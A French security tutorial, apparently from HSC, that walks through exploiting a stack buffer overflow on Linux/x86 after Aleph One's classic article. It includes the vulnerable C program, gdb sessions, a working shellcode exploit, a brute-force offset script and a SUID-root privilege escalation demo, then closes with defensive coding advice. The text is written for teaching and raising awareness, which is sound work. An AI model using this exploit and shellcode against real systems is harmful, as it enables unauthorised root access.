Cet article montre comment exploiter un débordement de tampon
Exploitation des débordements Tampons
0]
Introduction
-------------------
Cet article montre comment exploiter un
débordement de tampon. Il s'agit
d'abord ici de démystifier l'exploitation
des failles de sécurité les plus
communes : les débordements de tampons dans
la pile d'exécution. Ceci afin
de sensibiliser les programmeurs, les
administrateurs et les responsables
des risques encourus simplement en
expliquant le fonctionnement aux
personnes sensibles aux problèmes de
sécurité.
Ce document part du principe que vous connaissez le
fonctionnement de la
pile d 'exécution et celui des débordements de tampons.
Pour cela vous pouvez
voir le document intitulé "Introduction aux
débordements de buffer" de
Stéphane Aubert
http://www.hsc.fr/ressources/breves/stackoverflow.html.
Quelques notions de
C et de l 'utilisation d 'un débogueur comme gdb seront
les
bienvenues.
Ce document, comme la quasi totalité des articles sur le
sujet, reprend les
exemples du document "Smashing The Stack For Fun And
Profit " de Aleph One
http://www.phrack.org/show.php?p=49&a=14. Ici sont
occultés les
explications nécessaires au fonctionnement de la pile
d 'exécution et à
l 'écriture du shellcode; pour ne se concentrer que sur
l 'exploitation du
débordement de tampon en donnant quelques explications
supplémentaires par
rapport à l 'article original.
I] Présentation de
la vulnérabilité
------------------------------------------
Le programme
vulnérable que nous allons exploiter est le suivant. Il
contient un tampon de
512 octets dans lequel le programme recopie la chaîne
de caractères passée en
premier argument par l 'utilisateur. Les programmes
nécessaires sont tous
inclus dans l 'article et sont extractibles avec
l 'utilitaire extract
présent dans tous les numéros du magazine phrack.
<++>
vulnerable.c
void main(int argc, char *argv[]) {
char
buffer[512];
if (argc >
1)
strcpy(buffer,argv[1]);
}
<-->
Les explications des
fonctionnalités utilisées seront données après chaque
copie
d 'écran.
De plus, tous les tests réalisés ici ont été effectués sur un
système x86
sous Linux avec un compilateur gcc 2.95.x et un bibliothèque C
glibc 2.2.x
et avec un environnement d 'environ 1,5 Ko depuis un terminal
rxvt exécutant
un shell bash en version 2.0.x . Si les différents programmes
devraient
fonctionner sur tout système x86, différentes versions de
compilateur et de
bibliothèque C et une taille d 'environnement différente
pourront faire
varier les différentes valeurs à utiliser. Le shellcode
utilisé ici par
contre ne fonctionnera que sur Linux/x86.
2]
Décorticage de la
vulnérabilité
-----------------------------------------
Après compilation, il
est facilement possible de vérifier que quelque chose
cloche dans le
programme vulnérable puisqu 'il génère une erreur lorsqu 'un
paramètre de
1000 caractères lui est passé en premier
argument.
---------------------------------------------------------------------
$
gcc -g -o vulnerable vulnerable.c
$ ./vulnerable `perl -e 'print "A" x
1000'`
Segmentation fault
$ gdb ./vulnerable
GNU gdb
5.0
[...]
(gdb) run `perl -e 'print "A" x 1000'`
Starting program:
/home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x
1000'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in
?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address
0x41414141
(gdb) x/176xb $esp-88
0xbffff40c: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41
0xbffff414: 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x41
[...]
0xbffff4ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x41
0xbffff4b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) q
The
program is running. Exit anyway? (y or n)
y
$
---------------------------------------------------------------------
Pour
vérifier que ceci est le type de vulnérabilité recherchée, il faut
lancer gdb
en lui indiquant le programme, puis lancer l 'exécution avec les
paramètres à
utiliser. gdb indique que le programme a été interrompu suite à
la réception
du signal SIGSEGV lors d 'une tentative d 'accès à l 'adresse
mémoire
0x41414141. En consultant le contenu de la pile (ici en hexadécimal
sur 176
octets depuis l 'adresse esp-88, esp étant le sommet de la pile), il
est
possible de voir que celle-ci a été écrasée avec des caractères "A
"
(dont
le code ASCII est 0x41 en hexadécimal).
Essayons de déterminer quand le
problème a eu lieu
:
---------------------------------------------------------------------
$
gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) break
vulnerable.c:5
Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5.
(gdb)
run `perl -e 'print "A" x 1000'`
Starting program:
/home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x
1000'`
Breakpoint 1, main (argc=2, argv=0xbffff4c4) at
vulnerable.c:5
5 strcpy(buffer,argv[1]);
(gdb) x/176xb
$esp-88
0xbffff1fc: 0x0c 0xf3 0xff 0xbf 0xb5 0x86 0x00 0x40
0xbffff204:
0xf4 0x57 0x01 0x40 0x0e 0x4f 0x00 0x00
[...]
0xbffff244: 0xdb 0x54 0x03
0x40 0xdb 0x54 0x03 0x40
0xbffff24c: 0x00 0x00 0x00 0x00 0xb5 0x86 0x00
0x40
0xbffff254: 0xf4 0x57 0x01 0x40 0x58 0x3a 0x00 0x00
0xbffff25c: 0x00
0x00 0x00 0x00 0xb4 0x25 0x00 0x40
[...]
0xbffff29c: 0x90 0x62 0x01 0x40
0x48 0xf3 0xff 0xbf
0xbffff2a4: 0x90 0x62 0x01 0x40 0xde 0x11 0x03
0x40
(gdb) next
6 }
(gdb) x/176xb $esp-88
0xbffff1fc: 0x58 0xca 0x12
0x40 0x64 0x5d 0x01 0x40
0xbffff204: 0xc4 0xf4 0xff 0xbf 0x0e 0x4f 0x00
0x00
[...]
0xbffff244: 0x5c 0xf2 0xff 0xbf 0x2a 0xf6 0xff
0xbf
0xbffff24c: 0x00 0x00 0x00 0x00 0xb5 0x86 0x00 0x40
0xbffff254: 0xf4
0x57 0x01 0x40 0x58 0x3a 0x00 0x00
0xbffff25c: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41
[...]
0xbffff29c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x41
0xbffff2a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)
cont
Continuing.
Program received signal SIGSEGV, Segmentation
fault.
0x41414141 in ?? ()
(gdb) q
The program is running. Exit anyway?
(y or n)
y
$
---------------------------------------------------------------------
Nous
venons de relancer le programme vulnérable sous gdb après avoir
positionné un
point d 'arrêt (breakpoint) avant l 'appel à strcpy(). Le
programme s 'est
arrêté avant d 'appeler cette fonction et à cet instant, la
pile d 'exécution
est correcte. Durant l 'appel à strcpy(), la pile a été
écrasée, mais la
partie correspondant aux données de strcpy est toujours
intacte donc le
retour dans main() se déroule sans problème. En continuant
l 'exécution,
c 'est à dire en sortant de main(), le programme utilise les
données de
l 'utilisateur pour continuer son exécution et est redirigé vers
l 'adresse
0x41414141.
Pour exploiter cela, il faut maintenant déterminer combien de
caractères il
faut mettre avant l 'adresse de retour, celle-ci indiquant
l 'adresse du code
que nous souhaitons faire exécuter. Nous allons donc faire
suivre une chaîne
de "A " dont la taille est à déterminer de la chaîne
"EDCB " qui en
hexadécimal s 'écrit 0x42434445. Cette longueur doit être
proche de 512 qui
est la taille totale des variables locales de la fonction
main().
---------------------------------------------------------------------
$
gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) run `perl -e 'print "A" x
516 . "EDCB"'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable
`perl -e 'print "A" x 516 . "EDCB"'`
Program received signal
SIGSEGV, Segmentation fault.
0x42434445 in ?? ()
(gdb) q
The program is
running. Exit anyway? (y or n)
y
---------------------------------------------------------------------
L
'adresse
à laquelle le processeur a voulu continuer l 'exécution du
processus
correspond à la chaîne "EDCB ". Après quelques essais, nous sommes
donc
arrivés à mettre le nombre exact de caractères nécessaires pour
placer
l 'adresse de retour à la bonne place et déterminer que la bonne
taille sur
notre machine de test est de 516 octets.
Voyons en détail
ce qu 'il s 'est passé
:
---------------------------------------------------------------------
$
gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) break
vulnerable.c:5
Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5.
(gdb)
run `perl -e 'print "A" x 516 . "EDCB"'`
Starting program:
/home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 516 .
"EDCB"'`
Breakpoint 1, main (argc=2, argv=0xbffff6a4) at
vulnerable.c:5
5 strcpy(buffer,argv[1]);
(gdb) p$eip
$1 = (void *)
0x80483f3
(gdb) p$esp
$2 = (void *) 0xbffff434
(gdb) x/40xb
$esp+516-8
0xbffff630: 0x58 0xca 0x12 0x40 0x90 0xba 0x00 0x40
0xbffff638:
0x58 0xf6 0xff 0xbf 0x78 0xf6 0xff 0xbf
0xbffff640: 0xeb 0xe2 0x03 0x40 0x02
0x00 0x00 0x00
0xbffff648: 0xa4 0xf6 0xff 0xbf 0xb0 0xf6 0xff
0xbf
0xbffff650: 0x3c 0x84 0x04 0x08 0x00 0x00 0x00 0x00
(gdb) print
&buffer
$3 = (char (*)[512]) 0xbffff43c
(gdb) x/4xb
buffer+516
0xbffff640: 0xeb 0xe2 0x03 0x40
(gdb) next
6 }
(gdb)
p$eip
$3 = (void *) 0x804840e
(gdb) p$esp
$4 = (void *)
0xbffff434
(gdb) x/40xb $esp+516-8
0xbffff630: 0x41 0x41 0x41 0x41 0x41
0x41 0x41 0x41
0xbffff638: 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x41
0xbffff640: 0x45 0x44 0x43 0x42 0x00 0x00 0x00 0x00
0xbffff648: 0xa4
0xf6 0xff 0xbf 0xb0 0xf6 0xff 0xbf
0xbffff650: 0x3c 0x84 0x04 0x08 0x00 0x00
0x00 0x00
(gdb) x/4xb buffer+516
0xbffff640: 0x45 0x44 0x43 0x42
(gdb)
cont
Continuing.
Program received signal SIGSEGV, Segmentation
fault.
0x42434445 in ?? ()
(gdb) p$eip
$5 = (void *)
0x42434445
(gdb) p$esp
$6 = (void *) 0xbffff644
(gdb) q
The program
is running. Exit anyway? (y or n)
y
$
---------------------------------------------------------------------
Ici
lorsque le programme arrive avant l 'appel à strcpy(), le registre
eip
(pointeur vers l 'instruction à exécuter) vaut 0x80483f3 et le registre
esp
(pointeur vers le haut de la pile) vaut 0xbffff434. Le tableau buffer a
pour
adresse 0xbffff43c et l 'adresse 0xbffff640 (0xbffff43c+516 =
buffer+516)
contient 0x4003e2eb.
Après l 'appel à strcpy(), eip vaut
0x804840e, esp vaut 0xbffff434 et
l 'adresse 0xbffff640 (buffer+516) contient
0x42434445. Après continuation de
l 'exécution, le programme reçoit le signal
SIGSEGV pour avoir tenté de
continuer son exécution à partir de l 'adresse
0x42434445, c.-à-d. à
l 'adresse contenue à l 'adresse 0xbffff640.
3]
Exploitation de la
vulnérabilité
-----------------------------------------
La difficulté
suivante est de déterminer l 'adresse de retour à placer à la
place de
0x42434445. Il s 'agit ici de la plus grosse difficulté dans
l 'exploitation
d 'un débordement de tampon dans la pile d 'exécution. Tout
ceux qui se
seront essayés à cela auront buté sur ce problème et beaucoup en
auront
conclu, à tort malheureusement, qu 'il faut être un génie pour
résoudre ce
problème...
En fait avec la bonne méthode, et surtout le bon programme
tel que le
suivant, il est possible de rechercher par force brute les valeurs
possibles
dans un cas particulier.
<++> exploit3.c
#include
STDLIB.H
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE
512
#define NOP 0x90
char shellcode[]
=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/sh";
unsigned
long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int
argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int
offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc >
1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if
(!(buff = malloc(bsize))) {
printf("Can't allocate
memory.\n");
exit(0);
}
addr = get_sp() -
offset;
printf("Using address: 0x%x\n", addr);
ptr =
buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize;
i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2;
i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) -
(strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode);
i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] =
'\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
<-->
<++>
sh.c
#include
STDIO.H
main(){
printf("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n"
"Smashing The Stack For Fun And
Profit Smashing The Stack For Fun And
Profit\n"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n"
);
fflush(stdout);
}
<-->
Le
programme exploit3 exécute un shell après avoir créé la
variable
d 'environnement nommée EGG. La valeur attribuée à cette variable
contient
entre autres :
. une série de NOP,
. le shell code,
.
l 'adresse de retour (en de nombreux exemplaires pour en
simplifier
l 'exploitation dans le cas où la vulnérabilité puisse se
présenter dans
des configurations légèrement différentes du point de vue de
sa pile
d 'exécution).
L 'adresse de retour est censée tomber quelque
part dans la série de NOP au
début du tampon. Pour déterminer cette valeur,
le programme récupère
l 'adresse de pointeur de pile (esp) et y soustrait un
offset (déplacement)
donné par le deuxième paramètre. La taille du tampon est
donnée par le
premier paramètre.
Nous allons utiliser le programme
sh.c compilé en /tmp/sh pour nous aider à
déterminer ces valeurs. Pour cela
nous avons aussi modifié le shellcode pour
qu 'il exécute /tmp/sh au lieu de
/bin/sh ;)
Pour la taille du tampon à créer, il est nécessaire de prendre
en compte la
taille du tampon à déborder et de celles des variables d 'à
côté. Ici nous
n 'avons que le tampon à déborder et auparavant nous avons pu
déterminer que
les 4 octets suivants les 516 premiers écrasaient la valeur de
retour. Pour
prendre une marge, nous allons donner 612 comme longueur du
tampon à créer.
Pour l 'offset à donner, nous allons essayer de découvrir
sa valeur par force
brute ;) avec le petit programme en shell Bourne suivant
:
<++>brute.sh
#!/bin/sh
i=0 ;
while test $i -lt 1000 ;
do
echo == $i == `echo './vulnerable $EGG' | ./exploit3 612 $i`
;
i=`expr $i + 1` ;
done 2>&1
<-->
Tout d
'abord
compiler les programmes et lancer le script de recherche par
force brute
:
---------------------------------------------------------------------
$
gcc -o exploit3 exploit3.c
$ gcc -o sh sh.c
$ cp sh /tmp
$ chmod a-x
brute.sh
$ . ./brute.sh >
blah.txt
---------------------------------------------------------------------
Remarque
: l 'interprétation du script par le shell courant ( ". ./brute.sh ")
est
préféré à l 'interprétation par un autre shell lancé automatiquement
par le
système ( "./brute.sh ") afin d 'obtenir des résultats
directement
exploitables.
Autre remarque : il se peut que pour
certaines valeurs, le programme
vulnérable boucle indéfiniment... ce sont les
aléas des exploitations des
débordements de tampons ;) Il est donc conseillé
de lancer une commande
top en même temps que le script de recherche... Le
temps de recherche est
de toute façon supérieur à une minute.
Il
suffit alors de rechercher dans le fichier blah.txt quelles sont les
valeurs
d 'offset pour lesquelles la bannière du programme sh.c s 'est
affichée. Il
est à remarquer que certains intervalles sont très efficaces
alors que
d 'autres pas du tout... sur ma machine les valeurs à partir de
383
fonctionnent bien. Pour l 'exemple suivant j 'utilise 444 (choisie de
façon à
avoir une adresse de retour proche du shellcode)
:
---------------------------------------------------------------------
$
./exploit3 612 424
Using address: 0xbffff654
$ gdb ./vulnerable
GNU gdb
5.0
[...]
(gdb) break vulnerable.c:5
Breakpoint 1 at 0x80483f3: file
vulnerable.c, line 5.
(gdb) run $EGG
Starting program:
/home/ducamp/expl/aleph1/./vulnerable $EGG
Breakpoint 1, main (argc=2,
argv=0xbffff3f4) at vulnerable.c:5
5 strcpy(buffer,argv[1]);
(gdb) print
&buffer
$1 = (char (*)[512]) 0xbffff18c
(gdb) x/4xb
buffer+516
0xbffff390: 0xeb 0xe2 0x03 0x40
(gdb) next
6 }
(gdb)
x/4xb buffer+516
0xbffff390: 0x54 0xf6 0xff 0xbf
(gdb) x/80xb
0xbffff654-8
0xbffff64c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x90
0xbffff654: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff65c: 0x90
0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff664: 0x90 0x90 0x90 0xeb 0x1f 0x5e
0x89 0x76
0xbffff66c: 0x08 0x31 0xc0 0x88 0x46 0x07 0x89 0x46
0xbffff674:
0x0c 0xb0 0x0b 0x89 0xf3 0x8d 0x4e 0x08
0xbffff67c: 0x8d 0x56 0x0c 0xcd 0x80
0x31 0xdb 0x89
0xbffff684: 0xd8 0x40 0xcd 0x80 0xe8 0xdc 0xff
0xff
0xbffff68c: 0xff 0x2f 0x74 0x6d 0x70 0x2f 0x73 0x68
0xbffff694: 0xf6
0xff 0xbf 0x54 0xf6 0xff 0xbf 0x54
(gdb) cont
Continuing.
Program
received signal SIGTRAP, Trace/breakpoint trap.
0x40001f20 in _start () at
rtld.c:161
161 rtld.c: No such file or directory.
(gdb)
cont
Continuing.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Program exited normally.
(gdb)
q
$ ./vulnerable $EGG
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
$
---------------------------------------------------------------------
Ici
nous avons lancé l 'exploit dans gdb et positionné un point d 'arrêt
avant
l 'appel à la fonction strcpy() . Le tableau buffer se trouve à
l 'adresse
0xbffff18c. À l 'adresse 0xbffff390 (0xbffff18c+516 = buffer+516)
se trouve
la valeur 0x4003e2eb. Après l 'appel à strcpy() , c 'est maintenant
la valeur
0xbffff650 qui se trouve à la même adresse. Cette valeur est bien
celle
donnée par le programme exploit3 avant de lancer un shell.
En
regardant à l 'adresse 0xbffff650, se trouve une suite de valeurs
0x90
correspondant à des NOP, puis les valeurs du shellcode... En faisant
cont,
un signal SIGTRAP est obtenu. Ceci est dû au fait que le programme est
en
cours de débogage et qu 'il vient d 'effectuer un appel à une fonction de
la
famille des exec() . En continuant l 'exécution, le programme /tmp/sh
est
bien lancé et l 'exécution se déroule normalement.
Après avoir
quitté gdb, exécutez l 'exploit sans passer par gdb. Cela fait
afficher la
bannière magique... :) et voilà votre première exploitation de
débordement de
tampon en direct ;)
4] Et si le programme vulnérable avait été privilégié
?
-------------------------------------------------------------------
Pour que la
démonstration soit complète, il faut alors copier la commande id
à la place
du programme /tmp/sh et essayer d 'exploiter le programme
vulnérable avant et
après l 'avoir mis SUID root.
Si nous n 'avons pas essayé de rendre le
programme vulnérable SUID root plus
tôt, c 'est tout simplement qu 'un
programme SUID ne peut être débogué sous
Linux et d 'autres systèmes. La
raison est qu 'un utilisateur ne peut obtenir
le privilège d 'utiliser
l 'appel système ptrace() sur un programme
SUID.
---------------------------------------------------------------------
$
cp /usr/bin/id /tmp/sh
$ ./exploit3 612 424
Using address: 0xbffff654
$
./vulnerable $EGG
uid=1000(ducamp) gid=1000(ducamp) groups=1000(ducamp)
$
su
Password:
# chown root:root vulnerable
# chmod u+s vulnerable
#
ls -l vulnerable
-rwsr-xr-x 1 root root 13781 Sep 5 19:59 vulnerable
#
exit
exit
$ ./vulnerable $EGG
uid=1000(ducamp) gid=1000(ducamp)
euid=0(root) groups=1000(ducamp)
$ cp /bin/sh /tmp/sh
$ ./vulnerable
$EGG
sh-2.05$ id
uid=1000(ducamp) gid=1000(ducamp)
groups=1000(ducamp)
sh-2.05$
---------------------------------------------------------------------
Ici
nous pouvons noter que lorsque la commande id est lancée par le
programme
vulnérable qui possède des privilèges, le programme id est lui
aussi exécuté
avec ces privilèges : l 'uid effectif est root.
Après avoir copié un
shell (bash en version 2.0.x dans mon cas) à la place
de /tmp/sh et exploité
la vulnérabilité, le shell ne parait avec aucun
privilège. En fait il s 'agit
tout simplement d 'une "fonctionnalité " de ce
shell qui ayant détecté que
l 'uid réel et l 'uid effectif sont différents se
débarrasse de ses
privilèges. En changeant le shellcode par un autre qui
exécute un setreuid(0)
avant l 'appel à execve(), les uid réel et effectif
sont identiques et le
shell garde alors les privilèges root.
Et n 'oubliez pas de supprimer
ensuite le bit SUID root sur le programme
vulnérable lorsque vous en avez
terminé, au risque de voir les utilisateurs
s 'en servir vous venez de le
faire ;) (entrez "chmod u-s vulnerable " en tant
que root).
5]
Conclusion
-----------------
Maintenant que vous avez pu voir que
l 'exploitation d 'un débordement de
tampon peut être une chose assez simple
à effectuer, il est donc important
que les programmeurs changent leurs
habitudes de programmation en incluant
de simples mesures.
La règle
importante est de toujours vérifier les données provenant de
sources non
sûres. Ces vérifications doivent prendre en compte le type des
données et
leur taille. Ici en limitant la copie à la taille du tampon
destination, le
problème aurait alors disparu :
<++>no-vuln.c
#define LNG
511
void main(int argc, char *argv[]) {
char buffer[LNG+1];
if
(argc >
1)
strncpy(buffer,argv[1],LNG);
buffer[LNG]='\0';
}
<-->
Il
est à noter que même en limitant les données à certains types de
caractères,
comme des chiffres et des lettres (fonction isalnum()) il est
toujours
possible, même si cela est plus difficile, d 'écrire un shellcode
qui passera
le test. Pour des exemples de tels codes, consultez l 'article 15
du numéro
57 du magazine phrack. Certains shellcodes existants sont même
résistants aux
fonctions tolower() ou toupper().
Il est donc très important de vérifier
en taille les données reçues de
sources non sûres telles que les paramètres
du programme, l 'entrée standard,
le contenu des fichiers à traiter, les
données reçues d 'autres programmes
(même s 'ils font partie du même package)
ou du réseau.
Les administrateurs systèmes sont aussi impliqués dans le
processus : il est
très important de mettre à jour les démons et programmes
locaux dès qu 'une
faille de sécurité est annoncée. Des fonctionnalités comme
:
. une pile non exécutable (voir pour Linux le patch Openwall par
Solar
Designer : http://www.openwall.com/linux/ )
. un patch au
compilateur pour rendre les programmes auto-immunes (voir
pour Linux
StackGuard
http://www.immunix.org/products.html#stackguard )
permettent
seulement de rajouter une barrière supplémentaire, mais ne
constituent en
aucun cas un mur infranchissable, chacune ayant ses
faiblesses (sauts par
trampoline et vulnérabilités des chaînes de format).
Il est donc important
dans tous les cas de mettre à jour ses systèmes dans
les plus brefs délais
dès l 'annonce de la vulnérabilité.
Mais la plus grande responsabilité
incombe aux décideurs : il est très
important de prendre en compte la
sécurité. Ainsi, il est nécessaire de
laisser plus de temps aux développeurs
pour s 'assurer qu 'un minimum de
vérifications soient réalisées et de
laisser plus de temps aux
administrateurs pour suivre les listes de sécurité
et mettre à jour les
systèmes dès que cela est
nécessaire.
Remerciements :
--------------------
. à tous ceux qui ont testé ma démo, même
quand elle était en version béta
. à tous les relecteurs de HSC
. à tous
les eXperts sans qui les meilleurs détails ne seraient pas là